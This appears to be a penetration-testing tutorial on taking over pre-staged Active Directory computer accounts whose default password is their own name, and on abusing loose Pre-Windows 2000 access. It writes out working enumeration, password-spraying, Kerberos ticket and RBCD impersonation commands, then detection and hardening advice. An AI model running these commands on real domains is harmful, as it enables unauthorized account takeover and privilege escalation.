Pre-Created Computer Accounts and Pre-Windows 2000 Compatibility Risks

Pre-Created Computer Accounts and Pre-Windows 2000 Compatibility Risks - article cover image Active Directory
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Two legacy Active Directory behaviors, both descended from the Windows 2000 era, still quietly hand attackers footholds in modern domains. The first is the pre-created computer account with *pre-Windows 2000 compatibility*, which is provisioned with a predictable default password derived from the account name. The second is the Pre-Windows 2000 Compatible Access group, which — when it contains broad principals like Anonymous or Everyone — enables unauthenticated enumeration of directory objects. Both are relics of backward compatibility that administrators rarely revisit.

Individually each is a modest issue; together they form a clean low-effort attack path: use weakened read access to enumerate accounts, spot a pre-staged computer object that has never logged on, guess its trivially predictable password, and take over the machine account. From there the account becomes a launch point for Resource-Based Constrained Delegation, credential harvesting, or simply a persistent domain-authenticated identity. This article explains where the predictable password comes from, how to find vulnerable accounts, and how the takeover chains forward.

Attack Prerequisites

The pre-created account takeover needs very little:

  • A pre-staged computer account that has not yet been joined — created via *New Computer* with the *pre-Windows 2000* option (or otherwise left with its initial password), so it still holds the default password.
  • The account name, which is also the password material — obtainable from directory enumeration (authenticated, or unauthenticated where Pre-Windows 2000 Compatible Access is loose).
  • Network access to a domain controller (SMB/LDAP/Kerberos) to authenticate as the machine account.
  • For the enumeration half: Pre-Windows 2000 Compatible Access containing Anonymous / Everyone, enabling null-session or anonymous LDAP reads.

How It Works

When an administrator pre-creates a computer account and selects “Assign this computer account as a pre-Windows 2000 computer”, AD sets the account’s initial password to a known default: the computer’s name in lowercase (the sAMAccountName without the trailing $, truncated to 14 characters). So an account pre-staged as WEB01$ is created with the password web01. The intent was to let old clients join with a predictable secret and then change it on first boot — but until the machine actually joins and rotates the password, the account is authenticatable by anyone who knows its name. Such accounts also commonly carry the PASSWD_NOTREQD userAccountControl bit and show logonCount = 0 and pwdLastSet at creation time, because they have never been used.

The Pre-Windows 2000 Compatible Access group is the second relic. It was designed so legacy applications and NT4-era systems could read directory data. If this group includes Anonymous Logon or Everyone, unauthenticated callers gain broad read of user, group, and computer objects — enabling null-session enumeration, RID cycling, and attribute reads that reveal exactly the pre-created accounts described above. Modern installs place only *Authenticated Users* here, but upgraded domains and deliberate compatibility tweaks often still have the looser membership.

The relevant userAccountControl flags tie these together. A machine account has WORKSTATION_TRUST_ACCOUNT (0x1000); an account that can authenticate with no or a weak password may have PASSWD_NOTREQD (0x0020). A never-logged-on, pre-staged object with logonCount = 0 and the workstation-trust flag is the tell-tale of a takeover candidate. Because a computer account is a first-class security principal, owning it means holding a valid domain identity — not just a device record.

Vulnerable Code / Configuration

The predictable-password condition is visible in the object’s attributes. A pre-created, never-joined workstation account looks like this — note logonCount of 0 and the password-not-required bit:

# A pre-staged computer account still holding its default password:
sAMAccountName:      WEB01$
userAccountControl:  WORKSTATION_TRUST_ACCOUNT (0x1000) | PASSWD_NOTREQD (0x0020) = 0x1020
logonCount:          0                # never authenticated -> password never rotated
pwdLastSet:          <creation time>  # set once, at pre-creation

# Predictable password  =  lowercase(sAMAccountName without '$', <= 14 chars)
#   WEB01$   ->  password 'web01'
TEXT

Find these accounts with an LDAP filter for workstation-trust objects that have never logged on. With PowerView (authenticated) or an anonymous bind (if Pre-Windows 2000 Compatible Access is loose):

# PowerView: computer accounts that have never logged on (candidate pre-created accounts)
Get-DomainComputer -LDAPFilter '(&(userAccountControl:1.2.840.113556.1.4.803:=4096)(logonCount=0))' \
  -Properties samaccountname, useraccountcontrol, logoncount, pwdlastset

# Also flag password-not-required accounts:
Get-DomainObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=32)' \
  -Properties samaccountname, useraccountcontrol
PowerShell

The enumeration weakness is the group membership itself. Confirm whether unauthenticated principals are in Pre-Windows 2000 Compatible Access — an over-broad membership is what turns recon from authenticated into anonymous:

# Check the Pre-Windows 2000 Compatible Access membership for Anonymous/Everyone
Get-ADGroupMember 'Pre-Windows 2000 Compatible Access'

# Danger signs in the output:
#   'NT AUTHORITY\\ANONYMOUS LOGON'  or  'Everyone'  -> unauthenticated directory reads enabled
PowerShell

Walkthrough / Exploitation

Step one is reconnaissance. If Pre-Windows 2000 Compatible Access is loose, enumerate accounts anonymously — RID cycling via a null session reveals computer objects and names with no credentials at all:

# Anonymous / null-session enumeration (works when Pre-Win2000 access is over-broad)
lookupsid.py -no-pass 'corp.local/anonymous@10.0.0.10'  # RID-cycle users & computers

# Enumerate objects over anonymous LDAP:
ldapsearch -x -H ldap://10.0.0.10 -b 'DC=corp,DC=local' \
  '(objectClass=computer)' sAMAccountName userAccountControl logonCount
Bash

Step two: for each never-logged-on machine account, test the predictable password (lowercase name). netexec/CrackMapExec makes spraying the name:name guess across candidates trivial:

# Spray the predictable default: password == lowercase computer name (no trailing $)
nxc smb 10.0.0.10 -u 'WEB01$' -p 'web01'

# Batch it across all candidate machine accounts:
#   users.txt lines like  WEB01$ / passwords derived as lowercase(name)
nxc smb 10.0.0.10 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
Bash

Step three: on a hit, you control a domain-authenticated computer account. Request a TGT to operate as it, and confirm what it can reach:

# Authenticate as the taken-over machine account and get a TGT
getTGT.py corp.local/'WEB01$':'web01' -dc-ip 10.0.0.10
export KRB5CCNAME=WEB01.ccache

# Enumerate the account's rights / sessions with the ticket
nxc ldap dc.corp.local -k --no-pass -u 'WEB01$'
Bash

Step four is the chain forward. A controlled computer account is a springboard: if you also hold write over another target’s msDS-AllowedToActOnBehalfOfOtherIdentity, configure Resource-Based Constrained Delegation with your owned machine account as the delegate, then S4U2self/S4U2proxy to impersonate a privileged user to that target:

# RBCD: set our owned WEB01$ as an allowed delegate on a target, then impersonate admin
rbcd.py -delegate-from 'WEB01$' -delegate-to 'FILESRV$' \
  -action write corp.local/'WEB01$':'web01'

getST.py -spn 'cifs/FILESRV.corp.local' -impersonate administrator \
  -hashes :<WEB01_NTHASH> corp.local/'WEB01$'
# -> cifs ticket as administrator on FILESRV -> lateral movement / secretsdump
Bash

Even without an RBCD path, the machine account is a durable authenticated identity useful for further enumeration, Kerberoasting reconnaissance, and blending in as ‘just another computer’ while the operator hunts for the next privilege. The initial cost was a single guessed password equal to the account’s own name.

Note: Not every never-logged-on computer account is exploitable — only those actually created with the pre-Windows 2000 default (or otherwise left with a weak initial secret). Once a machine genuinely joins, it rotates to a strong random password and the default no longer works. The high-value targets are objects that were pre-staged for deployments that never completed, bulk-provisioned in advance, or created by scripts that set a weak seed password.

Opsec: Password spraying machine accounts generates logon attempts (Event ID 4624 on success, 4625/4771 on failure) and can trip lockout policies if the account has one. Anonymous enumeration via a loosened Pre-Windows 2000 group is quiet but leaves LDAP/SMB session traces. A successful machine-account logon from an unexpected source host, for an account with logonCount previously 0, is a distinctive indicator.

Detection and Defense

Remove the predictable-password condition and tighten legacy read access:

  • Avoid the pre-Windows 2000 option when pre-creating computer accounts; if you must pre-stage, provision with a strong password and complete the join promptly.
  • Audit for never-logged-on machine accounts (logonCount = 0, workstation-trust flag) and delete or reset stale pre-created objects; prune accounts from abandoned deployments.
  • Remove PASSWD_NOTREQD from accounts that carry it, and disable/delete unused computer objects.
  • Restrict Pre-Windows 2000 Compatible Access to Authenticated Users only — remove Anonymous Logon and Everyone to shut down unauthenticated enumeration and RID cycling.
  • Disable anonymous LDAP/SMB enumeration (dsHeuristics, RestrictAnonymous / RestrictAnonymousSAM) so null-session recon fails.
  • Alert on machine-account logons for accounts that had never authenticated, and on password spraying patterns (bursts of 4625/4771) against computer accounts.

Real-World Impact

Pre-created computer accounts with default passwords are a perennial internal-assessment find, especially in large or long-lived domains that bulk-provision machines or carry the residue of migrations and imaging pipelines. The predictable name == password rule makes them a near-free win when they exist, and because a computer account is a full security principal, the takeover frequently chains into RBCD-based privilege escalation. The Pre-Windows 2000 Compatible Access weakness has an even longer pedigree: loose membership has enabled anonymous domain enumeration since the NT4 compatibility days, and upgraded domains still surface it. Both persist precisely because they are compatibility settings nobody is incentivized to revisit once things ‘work.’

Conclusion

These pre-Windows 2000 relics are cheap for attackers and easy for defenders to close. A computer account whose password is simply its own name, discovered through legacy read access that should have been tightened years ago, is exactly the kind of low-effort foothold that turns into RBCD escalation and lateral movement. Stop using the pre-Windows 2000 provisioning option, hunt down and clean up never-logged-on machine accounts, strip PASSWD_NOTREQD, and restrict Pre-Windows 2000 Compatible Access and anonymous enumeration. Backward compatibility you no longer need is just attack surface you forgot you had.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL